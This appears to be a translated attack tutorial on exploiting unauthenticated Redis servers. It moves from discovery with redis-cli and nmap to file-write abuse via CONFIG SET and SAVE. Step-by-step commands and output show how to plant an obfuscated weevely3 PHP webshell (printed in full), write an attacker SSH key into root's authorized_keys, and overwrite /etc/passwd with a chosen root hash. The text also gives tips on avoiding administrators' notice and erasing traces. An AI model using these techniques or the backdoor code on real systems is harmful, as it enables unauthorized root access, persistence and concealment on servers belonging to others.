Although edis is a high-performance memory database, it also supports saving memory data to the hard disk to achieve persistent storage. As redis does not enforce access authentication, it leads to frequent unauthorized access vulnerabilities. Intruders use this to control redis to indirectly obtain the ability of the system to write files, which greatly improves the attack power.
There are two ways to discover unauthorized redis vulnerabilities. You can use redis-cli to manually verify against a single machine:
$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379> INFO server
# Server
redis_version:4.0.1
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:65864c9f72c0dcf
redis_mode:standalone
os:Linux 3.16.0-4-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:4.9.2
process_id:2213
run_id:f4583ca8759931262b707df016655eabd7b85eed
tcp_port:6379
uptime_in_seconds:2101
uptime_in_days:0
hz:10
lru_clock:12289112
executable:/root/redis-server
config_file:
Among them, INFO server is an internal command executed after logging in to redis. It is used to display server environment information, such as operating system version, GCC version, redis version, etc. It can be seen that without entering any account/password, it has been Successfully execute the redis internal command to confirm that there is an unauthorized access vulnerability; you can also use nmap to automatically verify in batches:
$ nmap -v -n -Pn -p 6379 -sV –script=redis-info 192.168.56.1/24
…
Nmap scan report for 192.168.56.101
Host is up (-0.078s latency).
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.1 (64 bits)
| redis-info:
| Version: 4.0.1
| Operating System: Linux 3.16.0-4-amd64 x86_64
| Architecture: 64 bits
| Process ID: 2213
| Used CPU (sys): 3.20
| Used CPU (user): 0.77
| Connected clients: 2
| Connected slaves: 0
| Used memory: 828.64K
| Role: master
| Bind addresses:
| 0.0.0.0
| Client connections:
|_ 192.168.56.1
…
Among them, redis-info is a plug-in dedicated to checking this vulnerability by nmap. The detection range is the entire C section of 192.168.56.1/24. From the output results, you can also see a large amount of 192.168.56.101 environmental information, and the unauthorized access vulnerability was successfully detected. .
With the unauthorized access vulnerability, there is the ability to write files to the system. But there is an important prerequisite. Redis can create files but cannot create directories. Therefore, the directory where redis is to write files must exist in advance. Redis writing files is roughly divided into four steps: login, set file path, create key/value, and save.
Use redis-cli to connect to redis:
$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379>
Enter PING to display PONG, it means login is successful:
192.168.56.101:6379> ping
PONG
The connection is successful. Specify the directory for writing files:
192.168.56.101:6379> CONFIG SETdir /tmp
OK
This directory must already exist and the redis installation account has write access to it, otherwise an error will be reported:
(error) ERR Changing directory: Nosuch file or directory
Set the file name to be written:
192.168.56.101:6379> CONFIG SETdbfilename yourfile
OK
In this way, the file path is completely /tmp/yourfile. Create a key/value pair with the key yourkey and the value yourvalue:
192.168.56.101:6379> SET YOURKEY”YOURVALUE”
OK
Write memory data to file:
Log in to 192.168.56.101 to view the file just written:
# cat /tmp/yourfile REDIS0008� redis-ver4.0.1� redis-bits�@�ctime�!��Yused-mem� � aof-preamble��repl-id(f673f43a842713fcfa179696f306c536f476e997� repl-offset���##oldkeoldvalueyourkey yourvalue�Z?#�� 192.168.56.101:6379> SAVE OK
There are garbled characters because redis writes files in binary mode, and looks at it in binary mode:
$ xxd /tmp/yourfile
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 21c0 9a59 fa08 7573 65642d6d 656d c288 !..Y..used-mem..
0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c …..aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2866 3637 e….repl-id(f67
0000060: 3366 3433 6138 3432 37313366 6366 6131 3f43a842713fcfa1
0000070: 3739 3639 3666 3330 36633533 3666 3437 79696f306c536f47
0000080: 3665 3939 37fa 0b72 65706c2d 6f66 6673 6e997..repl-offs
0000090: 6574 c000 fe00 fb02 0000066f 6c64 6b65 et………oldke
00000a0: 7908 6f6c 6476 616c 75650007 796f 7572 y.oldvalue..your
00000b0: 6b65 7909 796f 7572 76616c75 65ff 8e19 key.yourvalue…
00000c0: 5a00 3f17 9be9 0a Z.?….
Three key points can be seen from this: First, the key and value can be used as the carrier of the string to be written, such as yourkey and yourvalue; second, the internal key information of redis is also written into the file, such as REDIS0008, redis- ver.4.0.1; Thirdly, other previously existing keys/values will also be saved in the file, such as oldkey and oldvalue.
I am used to using values as the carrier for writing strings. The string should be wrapped with double quotation marks; if the string contains double quotation marks, single quotation marks and other characters, it should be escaped with \” and \’; if you want to write multiple lines of text, you should merge multiple lines into one line, using \ n division; in addition, in order to prevent abnormal connection between the string to be written and other connections, it is best to add a few \n or spaces before and after the string to isolate it:
192.168.56.101:6379> SET yourkey”\n\n i say \”hi\”;\nu say \’hello\’ \n\n”
OK
Redis write file function, the purpose is not to simply save the keys/values in the memory to the hard disk, but to facilitate the recovery of data from the file, then the file format, key attributes, version and other internal redis internal information And write to the file. From an attacker’s point of view, files written with redis must be fault-tolerant, otherwise, the vulnerability cannot be exploited. For example, write characters outside of PHP syntax to tmp.php:
aaaaaa bbbbbbbbbb
<?php phpinfo(); ?>
cccc dddddddddddd
By accessing the page through URL, PHP code can be run normally. Script files such as php are fault-tolerant, so writing webshell is feasible.
Redis’s file writing function not only saves the key/value you just created, but also saves other existing keys/values. Therefore, the keys/values oldkey/oldvalue that you did not create are also written to the file. From an attacker’s perspective, this can cause some problems. For example, if you create a key/value to store a Trojan horse and want to save it to the webshell, if another attacker also creates a key/value to store the Trojan horse, redis may write his Trojan horse in front of you when writing files (ie, His Trojan is on the first line of tmp.php, and yours is on the second line). Once his Trojan is set to require a password to access, then your Trojan will never be resolved. In order to avoid this kind of problem, before writing a file, generally check which keys are currently available:
192.168.56.101:6379> KEYS *
…
2) “resque:delayed:last_enqueued_at”
3) “phpspy”
4)”resque:stat:failed:mobby-db:26377:*”
…
Verify suspicious keys:
192.168.56.101:6379> GET”phpspy”
“<?php@eval($_POST[value]);?>”
Delete suspicious keys:
192.168.56.101:6379> DEL”phpspy”
(integer) 1
If you find it troublesome to verify one by one, you can set the key name to 0, redis writes the file in character order, so you can write your value in front of the file; you can even use FLUSHALL to clear all the keys/values before creating you Key/value, then the written file must be very clean.
One more thing, you should know that in order to efficiently use hard disk space, redis uses LZF compression to write data by default. For example, create a key/value with a key of fours and a value of 44444444444444444444444444444444444:
192.168.56.101:6379> SET fours”44444444444444444444444444444444444444″
OK
192.168.56.101:6379> GET fours
“44444444444444444444444444444444444444”
192.168.56.101:6379> save
OK
View the written file:
$ xxd /tmp/test.txt
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 5a08 9d59 fa08 7573 65642d6d 656d c2d8 Z..Y..used-mem..
0000040: 9c0c 00fa 0c61 6f66 2d707265 616d 626c …..aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064 e….repl-id(80d
0000060: 3166 3935 6562 6130 38333236 3433 3137 1f95eba083264317
0000070: 6461 3835 3338 6235 31643863 3235 3230 da8538b51d8c2520
0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673 97ce8..repl-offs
0000090: 6574 c000 fe00 fb01 00000566 6f75 7273 et………fours
00000a0: c309 2601 3434 e019 00013434 ff0f ac63 ..&.44….44…c
00000b0: 03c6 35a9 00 ..5..
Redis does not strictly write the specified number of 4 to the file. In scenarios such as writing webshell, once the PHP code is compressed, it will definitely not be parsed correctly. Therefore, the compression function should usually be turned off:
192.168.56.101:6379> CONFIG SETrdbcompression no
OK
192.168.56.101:6379> SET fours”44444444444444444444444444444444444444″
OK
192.168.56.101:6379> GET fours
“44444444444444444444444444444444444444”
192.168.56.101:6379> save
OK
Check the written file, everything is normal:
# xxd /var/www/test.txt
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 9b0a 9d59 fa08 7573 65642d6d 656d c268 …Y..used-mem.h
0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c …..aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064 e….repl-id(80d
0000060: 3166 3935 6562 6130 38333236 3433 3137 1f95eba083264317
0000070: 6461 3835 3338 6235 31643863 3235 3230 da8538b51d8c2520
0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673 97ce8..repl-offs
0000090: 6574 c000 fe00 fb01 00000566 6f75 7273 et………fours
00000a0: 2634 3434 3434 3434 34343434 3434 3434 &444444444444444
00000b0: 3434 3434 3434 3434 34343434 3434 3434 4444444444444444
00000c0: 3434 3434 3434 34ff dd3f6b58 38a0 bd7f 4444444..?kX8…
If you feel that the manual operation of the entire file writing process is too troublesome, you can use MSF to automate:
msf > useauxiliary/scanner/redis/file_upload
msf auxiliary(file_upload) > showoptions
Module options(auxiliary/scanner/redis/file_upload):
Name CurrentSetting Required Description
—- ————— ——– ———–
DISABLE_RDBCOMPRESSION true yes Disable compression when saving if foundto be enabled
FLUSHALL false yes Run flushall to remove all redis databefore saving
LocalFile no Local file to beuploaded
PASSWORD foobared no Redis password for authentication test
RHOSTS yes The target address rangeor CIDR identifier
RPORT 6379 yes The target port (TCP)
RemoteFile no Remote file path
THREADS 1 yes The number of concurrent threads
The meaning of many of the options has been mentioned before, for example, DISABLE_RDBCOMPRESSION indicates whether to turn off the compression function, it must be; the file path written by RemoteFile must not only include the directory but also the file name; whether FLUSHALL deletes other existing ones in redis first Key/value, it is best to choose No to avoid affecting normal business. You should manually check and delete non-business suspicious keys/values:
msf auxiliary(file_upload) > setDISABLE_RDBCOMPRESSION yes
DISABLE_RDBCOMPRESSION => true
msf auxiliary(file_upload) > setRHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf auxiliary(file_upload) > setRemoteFile /tmp/yourfile2
RemoteFile => /tmp/yourfile2
msf auxiliary(file_upload) > setLocalFile /home/yangyangwithgnu/test.txt
LocalFile =>/home/yangyangwithgnu/test.txt
msf auxiliary(file_upload) > run
[+] 192.168.56.101:6379 -192.168.56.101:6379 — saved 15 bytes inside of redis DB at /tmp/yourfile2
[*] Scanned 1 of 1 hosts (100%complete)
[*] Auxiliary module executioncompleted
View the written file:
# xxd /tmp/yourfile2
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 92ba 9e59 fa08 7573 65642d6d 656d c238 …Y..used-mem.8
0000040: f10c 00fa 0c61 6f66 2d707265 616d 626c …..aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064 e….repl-id(80d
0000060: 3166 3935 6562 6130 38333236 3433 3137 1f95eba083264317
0000070: 6461 3835 3338 6235 31643863 3235 3230 da8538b51d8c2520
0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673 97ce8..repl-offs
0000090: 6574 c000 fe00 fb01 0000205a 696f 7470 et…….. Ziotp
00000a0: 6a49 4b5a 4870 6a56 784d4677 6959 4d6e jIKZHpjVxMFwiYMn
00000b0: 6e43 6f42 4f66 6662 526f720f 0a68 656c nCoBOffbRor..hel
00000c0: 6c6f 2c20 776f 726c 64210aff b439 bb6c lo, world!…9.l
00000d0: 9aaa 9f29 …)
In order to explain the details clearly, manual operation is still used later.
Write webshell files to achieve remote control
Once redis is controlled, the first thing that comes to mind is to write webshell, and fault tolerance is its biggest advantage. Assuming that the target is the PHP environment and the root directory of the web is /var/www/, follow the previous steps to try to write a normal PHP script to see if it can be resolved successfully:
$ redis-cli -p 6379 -h 192.168.56.101
192.168.56.101:6379> CONFIG SETdbfilename phpinfo.php
OK
192.168.56.101:6379> CONFIG SETdir “/var/www/”
OK
192.168.56.101:6379> CONFIG SETrdbcompression no
OK
192.168.56.101:6379> SET phpinfo”\n\n <?php phpinfo(); ?> \n\n” NX
OK
192.168.56.101:6379> save
OK
Visit http://192.168.56.101/phpinfo.php:
(Parse phpinfo)
Although some internal redis information appears at the top of the page, the PHP details are also normally displayed later, indicating that the analysis was successful.
Write a webshell this time. In order to reduce the uncertain factors (WAF), it is not recommended to directly use redis to write the big Trojan horse. You can write a one-sentence little Trojan horse and use the little Trojan horse to pull the big Trojan horse. Or, write a small trojan generated by msfvenom and use MSF to access, or write a small trojan generated by weevely3 and use weevely3 to access (only PHP environment). I prefer to use weevely3, as an example later.
weevely3 generates webshell:
$./weevely.py generate yourpasswd~/info.php
Generated backdoor with password’yourpasswd’ in ‘/home/yangyangwithgnu/info.php’ of 1486 byte size.
Among them, yourpasswd is the password for accessing the webshell. In addition, the file name must not be publicized. phpspy.php, agent.php, etc. may easily attract the attention of the administrator. Check the content as follows:
$cat ~/info.php
<?php
$o=’&l;&lq=0.(&l&l[\\d]))?,?/&l”,$r&l&la,$m&l);if($q&l&&$m){@sess&lion_sta&lr<();$s=&$_S&l’;
$D=’m&ld5($&li.$kh)&l&l,0&l,3))&l;$f=$sl($ss(md5($i&l&l.$kf),0,3));$&lp=””;fo&lr&l($z=1;$z<cou’;
$e=’l[“que&lry”],$q)&l;$q=ar&lray&l_v&lalues($&lq);preg_matc&lh&l_al&ll(“/([\\&lw])[\\w-]+(?:’;
$y=’i}^&l$k{$j};&l}}return&l$o&l;}$&lr=$_SERVER;$&lrr=@$r[“&lHTTP_R&lEFER&lER”];$ra=&l@$r&’;
$h=’64&l_dec&lod&le(preg_replace(&la&lrray(“/_/”,”/-&l/”),a&lrr&lay(“/”,”+&l”),$ss&l&l($&ls[‘;
$s=’l[“HT&lTP_ACC&lEPT_LA&lNGUAGE”];if&l&l($rr&&$ra&l&l){$u=parse_url(&l&l$rr);pa&lrse_str($u&’;
$f=’n&l<($m[1]);$&lz++&l)$p.=&l$q[$m[2][$z]&l];&lif&l(s<rpos($p,$h)=&l&l==0){$s[$i]=””&’;
$P=’$&li],0,$e))),$k))&l);$&lo=ob_g&let_conten<s();ob_&lend_cle&lan&l();$d=base6&l4_enc&lod’;
$R=’e(x(&lgzcompr&le&lss($o),$&lk));&lprint(&l”<$k>$d</&l$k>”)&l&l;@s&lession_destroy();}}}}’;
$Z=’$kh&l=”aeb&lb”;$kf&l=”7a&l7d”;func<ion&lx($t,$k){&l$c=&lstr&llen($k);$l=strlen(&l&l$t);$’;
$A=’l;$&lp=$ss($p,3);}&lif(&larra&ly_ke&ly_exi&lsts($i,$s)){$&ls[$i].=&l$&lp;$e=st&lrp&los($s’;
$l=’&lESSION;$ss=”s&lubstr”;$sl=”str<olowe&lr”;$i=$m&l[1][0&l].$m[1&l][&l1];$h=$sl($&lss(‘;
$n=’o=””;&lf&lor($i=0;$i<$l;&l){for&l(&l$j=0;(&l$j<$c&&$i&l<$l);$j&l++,$i&l++){&l&l$o.=$t{$’;
$V=str_replace(‘XZ’,”,’crXZXZeate_XZXZXZfunXZction’);
$w='[$i],$&lf)&l;if($e){$k&l=$kh.$kf&l;ob&l_&lstart();@ev&lal(@gz&lunc&lompress(@&lx(@bas&le’;
$q=str_replace(‘&l’,”,$Z.$n.$y.$s.$e.$o.$l.$D.$f.$A.$w.$h.$P.$R);
$G=$V(”,$q);$G();
?>
The content is not like ordinary PHP code, that’s right, weevely3 deliberately made code obfuscation in order to avoid killing.
The following content is visible to members
[wc_pay_can_read id=’2026,2029,2030′ tishi=’You do not have permission to read this content, click here to become a member and refresh this page to read it’]
As mentioned earlier, several considerations for redis to write files: use key values as the carrier for writing strings, string should be wrapped in double quotes, quotes must be escaped, multiple lines should be merged into a single line separated by \n, to be written Add \n before and after the string to separate it, delete other suspicious keys/values, and turn off the file compression function.
After adjusting the content to be written and confirming that there are no other suspicious keys/values, write it into the webshell:
192.168.56.101:6379> CONFIG SETdbfilename info.php
OK
192.168.56.101:6379> CONFIG SETdir “/var/www/”
OK
192.168.56.101:6379> CONFIG SETrdbcompression no
OK
192.168.56.101:6379> SET info”\n\n <?php\n$o=\’&l;&lq=0.(&l&l[\\d]))?,?/&l\”,$r&l&la,$m&l);if($q&l&&$m){@sess&lion_sta&lr<();$s=&$_S&l\’;\n$D=\’m&ld5($&li.$kh)&l&l,0&l,3))&l;$f=$sl($ss(md5($i&l&l.$kf),0,3));$&lp=\”\”;fo&lr&l($z=1;$z<cou\’;\n$e=\’l[\”que&lry\”],$q)&l;$q=ar&lray&l_v&lalues($&lq);preg_matc&lh&l_al&ll(\”/([\\&lw])[\\w-]+(?:\’;\n$y=\’i}^&l$k{$j};&l}}return&l$o&l;}$&lr=$_SERVER;$&lrr=@$r[\”&lHTTP_R&lEFER&lER\”];$ra=&l@$r&\’;\n$h=\’64&l_dec&lod&le(preg_replace(&la&lrray(\”/_/\”,\”/-&l/\”),a&lrr&lay(\”/\”,\”+&l\”),$ss&l&l($&ls[\’;\n$s=\’l[\”HT&lTP_ACC&lEPT_LA&lNGUAGE\”];if&l&l($rr&&$ra&l&l){$u=parse_url(&l&l$rr);pa&lrse_str($u&\’;\n$f=\’n&l<($m[1]);$&lz++&l)$p.=&l$q[$m[2][$z]&l];&lif&l(s<rpos($p,$h)=&l&l==0){$s[$i]=\”\”&\’;\n$P=\’$&li],0,$e))),$k))&l);$&lo=ob_g&let_conten<s();ob_&lend_cle&lan&l();$d=base6&l4_enc&lod\’;\n$R=\’e(x(&lgzcompr&le&lss($o),$&lk));&lprint(&l\”<$k>$d</&l$k>\”)&l&l;@s&lession_destroy();}}}}\’;\n$Z=\’$kh&l=\”aeb&lb\”;$kf&l=\”7a&l7d\”;func<ion&lx($t,$k){&l$c=&lstr&llen($k);$l=strlen(&l&l$t);$\’;\n$A=\’l;$&lp=$ss($p,3);}&lif(&larra&ly_ke&ly_exi&lsts($i,$s)){$&ls[$i].=&l$&lp;$e=st&lrp&los($s\’;\n$l=\’&lESSION;$ss=\”s&lubstr\”;$sl=\”str<olowe&lr\”;$i=$m&l[1][0&l].$m[1&l][&l1];$h=$sl($&lss(\’;\n$n=\’o=\”\”;&lf&lor($i=0;$i<$l;&l){for&l(&l$j=0;(&l$j<$c&&$i&l<$l);$j&l++,$i&l++){&l&l$o.=$t{$\’;\n$V=str_replace(\’XZ\’,\’\’,\’crXZXZeate_XZXZXZfunXZction\’);\n$w=\'[$i],$&lf)&l;if($e){$k&l=$kh.$kf&l;ob&l_&lstart();@ev&lal(@gz&lunc&lompress(@&lx(@bas&le\’;\n$q=str_replace(\’&l\’,\’\’,$Z.$n.$y.$s.$e.$o.$l.$D.$f.$A.$w.$h.$P.$R);\n$G=$V(\’\’,$q);$G();\n ?> \n\n” NX
OK
192.168.56.101:6379> save
OK
Among them, the nx at the end of the command means that it will be created only when the key info does not exist, to prevent accidentally updating to the key name in use by the business, causing business exceptions.
Visit http://192.168.56.101/info.php in the browser without error. Confirm that the webshell parses successfully. Connect with weevely3:
$./weevely.pyhttp://192.168.56.101/info.php yourpasswd
[+] weevely 3.4
[+] Target: 192.168.56.101
[+] Session: /home/yang/.weevely/sessions/192.168.56.101/info_0.session
[+] Browse the filesystem or executecommands starts the connection
[+] to the target. Type :help formore information.
weevely> id
uid=33(www-data) gid=33(www-data)groups=33(www-data)
www-data@lamp:/var/www $ ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:93:68:78
inet addr:192.168.56.101 Bcast:192.168.56.255 Mask:255.255.255.0
…
Obtain the host access rights of low-rights account, the next step is to escalate the rights, which belongs to the post-penetration stage, see another article.
Finally, remember to clear the traces: restore the previous settings of rdbcompression, dir, dbfilename, and delete the created key/value info.
Looking back at the whole process, I missed a key point, the web root directory. Yes, the web root directory of the demo environment is /var/www, but the real environment is often much more complicated. You have to consider the operating system (linux, win), web container, sub-directories and other factors before you can guess The correct path, as in sqlmap:
class ABSPATH_PREFIXES:
LINUX = (
“/var/www”,”/usr/local/apache”, “/usr/local/apache2″,”/usr/local/www/apache22”, “/usr/local/www/apache24”,
“/usr/local/httpd”,”/var/www/nginx-default”, “/srv/www”,”/var/www/vhosts”,
“/var/www/virtual”,”/var/www/clients/vhosts”, “/var/www/clients/virtual”)
WINDOWS = (
“/xampp”, “/ProgramFiles/xampp”, “/wamp”, “/Program Files/wampp”,”/apache”,
“/Program Files/ApacheGroup/Apache”,
“/Program Files/ApacheGroup/Apache2”, “/Program Files/Apache Group/Apache2.2”,
“/Program Files/ApacheGroup/Apache2.4”, “/Inetpub/wwwroot”,
“/Inetpub/vhosts”)
ALL = LINUX + WINDOWS
# Suffixes used in brute force searchfor web server document root
ABSPATH_SUFFIXES = (“html”,”htdocs”, “httpdocs”, “php”, “public”,”src”, “site”, “build”, “web”,”www”, “data”, “sites/all”,”www/build”)
If you can’t break through, you can consider looking for the directory traversal vulnerability of the web application, or the directory traversal vulnerability of the web container itself (for example, apache tomcat utf-8 directory traversal vulnerability, CVE-2008-2938).
Write /root/.ssh/authorized_keys file to realize ssh password-free login
With the ability of redis to write files, write the attacker’s public key into /root/.ssh/authorized_keys of the target, which can realize ssh password-free login.
Specifically, assuming that you have obtained the redis access permission of 192.168.56.101 through respective means, we will change the file path to /root/.ssh/authorized_keys. In order to prevent business abnormalities or being discovered by the administrator, the previous settings should usually be restored afterwards , So, first of all, record the currently set directory and file name information:
192.168.56.101:6379> CONFIG GETdir
1) “dir”
2) “/tmp”
192.168.56.101:6379> CONFIG GETdbfilename
1) “dbfilename”
2) “dump.rdb”
Record whether it is currently compressed:
192.168.56.101:6379> CONFIG GETrdbcompression
1) “rdbcompression”
2) “yes”
Next, change the directory to the directory where the ssh configuration file is located:
192.168.56.101:6379> CONFIG SETdir /root/.ssh/
OK
If redis is deployed without root, or /root/.ssh/ does not exist, the following error will appear, you should consider other attack methods (writing webshell is a good choice):
(error) ERR Changing directory: Nosuch file or directory
Confirm whether the change is successful:
192.168.56.101:6379> CONFIG GETdir
1) “dir”
2) “/root/.ssh”
Set the file name to be written:
192.168.56.101:6379> CONFIG SETdbfilename authorized_keys
OK
Then, create a key/value pair whose key is abcd and value is the attacker’s public key:
192.168.56.101:6379> SET abcd”\n\n ssh-rsaMMMdjfeod29jdlsMMMMPMQMBMMMBMQPcLMUOEN8xETqsfklfj5kfLZebMEopPcYTP1uJeOB1Oc+IML+xMGcsdfjsdfjdfsdfkdfjwodOEFsfdhlsFKDSFHsldkjfdlekasdjfssaldjfsadlfsadfasdsdfsadfjsoaiV+LxUpLvE+bPw2CIdkfdsd8W/XGsadfjk92flsllSk/PlTasdfkjlweijsadflksajdfdkfasdfssaldiejflDSKs+asjfiewflofdjkidsfoiwjhsaLDJHFUEWKFHSKDSDFJKASDHU2w1l/fcsfdjW/eWsa+j35WsadfMS76QI2+VkPwPsdfOFMP+gC8+2Faf1yangyangwithgnu@host \n\n” NX
OK
After that, save and write the public key into authorized_keys indirectly:
192.168.56.101:6379> save
OK
Finally, restore the previous directory, file name, compression state, and delete the created key/value:
192.168.56.101:6379> CONFIG SETdir “/tmp”
OK
192.168.56.101:6379> CONFIG SETdbfilename “dump.rdb”
OK
192.168.56.101:6379> CONFIG SETrdbcompression yes
OK
192.168.56.101:6379> DEL abcd
(integer) 1
Attempt to log in ssh secret-free successfully:
$ ssh root@192.168.56.101
Last login: Sat Aug 19 11:16:13 2017from 192.168.56.123
root@HomePortalSystem:~# id
uid=0(root) gid=0(root)groups=0(root)
Of course, it doesn’t mean that writing the public key into authorized_keys will definitely be able to log in without password. At least it must be satisfied that the attacker’s network environment can normally access the target’s ssh service, the target allows root remote login, allows unsecured login and other conditions, even ssh Is it on port 22? Whether iptable restricts access to source IP and other related information must be considered comprehensively.
Write /etc/passwd file to reset any account password
You know, the file that actually stores the password is /etc/shadow instead of /etc/passwd. What happens if an account stores the password in both /etc/passwd and /etc/shadow? The former system shall prevail. In other words, we can use the ability of redis to write files, write a custom root password to /etc/passwd, and then log in to the root account with this known password.
Since redis can write arbitrary files without authorization, why choose to write /etc/passwd instead of writing /etc/shadow directly? Redis writes files in overwrite mode and cannot be appended. Assuming that the system originally has 8 accounts, you cannot know the other 7 account names except root. When redis writes the root password, it also deletes the other 7 accounts. This process is invasive and irreversible. Naturally, I need to view the current content of the file before actually writing the file so that it can be restored afterwards. Which of /etc/passwd or /etc/shadow is more likely to be viewed? The former has the authority of 644 and the latter has 640, which must be the former. In common scenarios, for example, the web deployed on the machine has any file download vulnerability, and if you get the webshell through any file upload, you can get the contents of /etc/passwd. Therefore, I think /etc/passwd is more appropriate. In addition, if it is really impossible to view the contents of the file /etc/passwd beforehand, you can combine /etc/passwd- and /etc/shadow to recover 99% of the contents. /etc/passwd- is a backup of the previous version of /etc/passwd. Compared with the current version, it may lack an account. First copy /etc/passwd- to /etc/passwd, and then extract the missing one from /etc/shadow Account name (such as yang), and then manually appended to /etc/passwd. In this way, /etc/passwd before and after the invasion is basically the same.
/etc/passwd The format is as follows:
yang:x:1000:1000::/home/yang:/bin/sh
/etc/shadow format is as follows:
yang:$6$3fsk3de0$RAG5fct2ldQbmeb0e98nm4/EacrpdWHzpKW9ftz01np2uxPVV6B60EqCdMewopLPIC/pPUTybAVnfk9rJ8UGH/:17386:0:99999:7:::
The semicolon (:) is used as the separator, the first field is the user name, and the second field is the hash password. The hash password of /etc/passwd is x, which means the one in /etc/shadow shall prevail. The hash password field is divided into three parts with $, in order: algorithm code, salt value, hash value. Algorithm code, Linux stipulates that 1 represents MD5, 2a represents the old version of blowfish, 2y represents the new version of blowfish, 5 represents SHA-256, 6 represents SHA-512, and other unix-likes may be different; salt value is used to prevent rainbow table-based Hash cracking can only be uppercase and lowercase characters or numbers. Different types of algorithms require different salt lengths. For example, sha-512 requires a salt value of 8 to 16 characters, while DES requires only 2 characters; ha Hope value, the result of encrypting the plaintext password and salt value through a hash algorithm. In addition, you can also use hashID (https://github.com/psypanda/hashID) and hash-algorithm-identifier (https://github.com/AnimeshShaw/Hash-Algorithm-Identifier) to automatically identify the hash algorithm type.
Cannot view /etc/shadow, how to determine which hash algorithm the system uses? It does not matter! Generally speaking, different distribution kits may use different hash algorithms by default, but they all support MD5, SHA-256, and SHA-512. In other words, you can choose one of the three. There are many tools that have implemented these three hash algorithms, for example, the system command mkpasswd:
$ mkpasswd –method=md5–salt=’my0salt0′ ‘YourNewPasswd%1024’
Among them, the password is in plain text YourNewPasswd%1024, the salt value is my0salt0, and the MD5 algorithm is used (–method=help for the complete list); another example is the crypt library of python:
$ python -c ‘import crypt; print crypt.crypt(“YourNewPasswd%1024″,”$6$my0salt0″)’
Among them, the plain text of the password is YourNewPasswd%1024, the salt value is my0salt0, and the SHA-512 algorithm codenamed 6.
Now that we have obtained redis control and /etc/passwd has strong fault tolerance, it is completely feasible to reset the root password by writing the hash password of the root account to /etc/passwd.
Assume that the reset root password is YourNewPasswd%1024 (Linux generally has password strength rules. In order to avoid password reset failure due to unknown factors, the new password should meet strong password rules, such as longer than 8 digits, uppercase and lowercase letters, numbers, Special characters), first calculate the hash of the password:
$ mkpasswd –method=sha-512–salt=’my0salt0′ ‘YourNewPasswd%1024’
$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.
Then, refer to the previous steps to write the /root/.ssh/authorized_keys file, record the current environment, delete the available keys/values, and set the prohibition of compression; then, set the write file path:
192.168.56.101:6379> CONFIG SETdir /etc/
OK
192.168.56.101:6379> CONFIG SETdbfilename passwd
OK
To log in with SSH, we can’t just write the root account, but also the sshd account:
192.168.56.101:6379> SET abcd”\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n” NX
OK
192.168.56.101:6379> save
OK
View /etc/passwd:
# xxd passwd
0000000: 5245 4449 5330 3030 38fa0972 6564 6973 REDIS0008..redis
0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469 -ver.4.0.1..redi
0000020: 732d 6269 7473 c040 fa056374 696d 65c2 s-bits.@..ctime.
0000030: 46d8 a359 fa08 7573 65642d6d 656d c2a8 F..Y..used-mem..
0000040: a10c 00fa 0c61 6f66 2d707265 616d 626c …..aof-preambl
0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064 e….repl-id(80d
0000060: 3166 3935 6562 6130 38333236 3433 3137 1f95eba083264317
0000070: 6461 3835 3338 6235 31643863 3235 3230 da8538b51d8c2520
0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673 97ce8..repl-offs
0000090: 6574 c000 fe00 fb04 00000566 6f75 7273 et………fours
00000a0: c309 2601 3434 e019 00013434 0004 6162 ..&.44….44..ab
00000b0: 6364 40b8 0a0a 2072 6f6f743a 2436 246d cd@… root:$6$m
00000c0: 7930 7361 6c74 3024 644d5442 6f4a 5357 y0sadlt0$yCCi..O
00000d0: 4470 4f50 6b5a 6869 304e7a39 6465 3336 sWo8n5MaBFytGaZ0
00000e0: 5369 4a78 4345 5559 4671316b 3970 3733 qTcHKErSaoyvAVvM
00000f0: 7449 3738 7172 7445 71354735 4235 367a tI78qrtEq5G5B56z
0000100: 7376 6e44 5444 6f4c 7241635a 4356 5a6e svnDTdfwkj2JCVZn
0000110: 6f74 6a5a 4c58 6954 6d517a30 6c2e 3a30 oke6c9.FkDN53.:0
